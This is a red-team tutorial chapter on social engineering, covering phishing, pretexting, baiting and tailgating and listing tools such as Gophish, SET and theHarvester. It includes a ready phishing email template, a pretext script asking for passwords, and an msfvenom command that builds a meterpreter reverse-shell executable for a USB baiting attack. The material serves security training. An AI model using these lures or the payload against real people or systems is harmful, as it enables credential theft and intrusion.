Social Engineering in Red Teaming

In the realm of cybersecurity, the human element often represents the weakest link. Social engineering exploits this vulnerability by manipulating individuals into divulging confidential information or performing actions that compromise security. For red teamers, mastering social engineering techniques is crucial for simulating real-world attacks and assessing an organization's resilience against such threats. This chapter delves into the intricacies of social engineering, its methodologies, tools, techniques, and the profound impact it can have on organizational security.

Impact of Social Engineering

The impact of successful social engineering attacks can be devastating, leading to:

Data Breaches: Unauthorized access to sensitive information, including personal data, intellectual property, and financial records.

Financial Loss: Direct theft of funds or costs associated with remediation, legal fees, and regulatory fines.

Reputation Damage: Loss of trust among customers, partners, and stakeholders.

Operational Disruption: Compromised systems and networks can lead to downtime and reduced productivity.

  • Common Social Engineering Techniques

    • Phishing

    • Pretexting

    • Baiting

    • Tailgating


Phishing is a social engineering attack where attackers send fraudulent communications, often via email, posing as reputable sources to trick individuals into divulging sensitive information such as login credentials or financial details. These emails typically contain malicious links or attachments that can install malware or lead to credential harvesting websites. Phishing remains one of the most common and effective methods for compromising security due to its ability to exploit human trust and behavior. Organizations must implement robust email filtering, user awareness training, and multi-factor authentication to mitigate phishing risks.

Example: Phishing Email

A red team might craft a phishing email that mimics a legitimate communication from a trusted source, such as a bank or an internal department. Here's a sample phishing email:

Subject: Urgent: Action Required to Verify Your Account

Email Body:

Dear User,

We have detected unusual activity on your account. Please verify your account information immediately to avoid suspension. Click the link below to verify your account:

[Verify Your Account](

Thank you,
Security Team

Command: Using a phishing toolkit like Gophish to send phishing emails.

gophish admin -s https://gophish-server:3333 -u admin -p password

A web interface for managing phishing campaigns, tracking email opens, clicks, and submitted data.

Impact: Successful phishing attacks can lead to unauthorized access to sensitive systems, data breaches, and significant financial loss.

Gophish Source:

Sample Phishing Page:


Pretexting involves creating a fabricated scenario to persuade a target to divulge information or perform an action. This technique often requires building a believable story that leverages the target's trust.

Example: IT Support Call

A red team member might pose as an IT support technician, calling an employee and convincing them to provide their login credentials for troubleshooting purposes.

"Hello, this is John from IT support. We're conducting an urgent security update, and I need your username and password to ensure your account is properly configured."

Impact: If successful, pretexting can result in direct access to sensitive systems and data.


Baiting involves offering something enticing to the target, such as free software or a USB drive, to lure them into a trap.

Example: Malicious USB Drive

A red team might drop USB drives loaded with malware in strategic locations, hoping that curious employees will plug them into their computers.

Command: Creating a malicious USB payload using Metasploit.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > payload.exe

Output: An executable file (payload.exe) that, when run, opens a reverse shell to the attacker's machine.

Impact: This can lead to system compromise, data exfiltration, and further network penetration.


Tailgating involves an attacker seeking entry to a restricted area by closely following an authorized person.

Example: Office Building Entry

A red team member might follow an employee into a secured office building by carrying a large box and asking the employee to hold the door open.

Impact: Physical access to secured areas can allow attackers to plant devices, steal sensitive documents, or access restricted systems.

Tools and Techniques

Phishing Tools

Gophish: An open-source phishing toolkit designed for simulating real-world phishing attacks.

Social-Engineer Toolkit (SET): A powerful framework for simulating social engineering attacks.

King Phisher: A tool for testing and promoting user awareness by simulating real-world phishing attacks.


Maltego: A data mining tool that provides a graphical interface for linking and analyzing relationships between data from various sources.

theHarvester: A tool for gathering emails, subdomains, hosts, employee names, and other information from public sources.

SpiderFoot: An OSINT automation tool for gathering and analyzing information about target organizations.

SpiderFoot is an awesome open source intelligence (OSINT) automation tool for Red Teaming!

Social Engineering Frameworks

SEToolkit: A comprehensive suite for conducting social engineering attacks, including phishing, credential harvesting, and payload delivery.

sudo setoolkit

Official source of SET:

Phantom-Evasion: A framework for generating highly obfuscated payloads to bypass antivirus detection.


Social engineering remains one of the most effective methods for compromising organizational security. By understanding and employing various social engineering techniques, red teamers can identify weaknesses in human defenses and help organizations strengthen their security posture. Through comprehensive awareness training, robust security measures, and proactive incident response planning, organizations can mitigate the risks associated with social engineering attacks.

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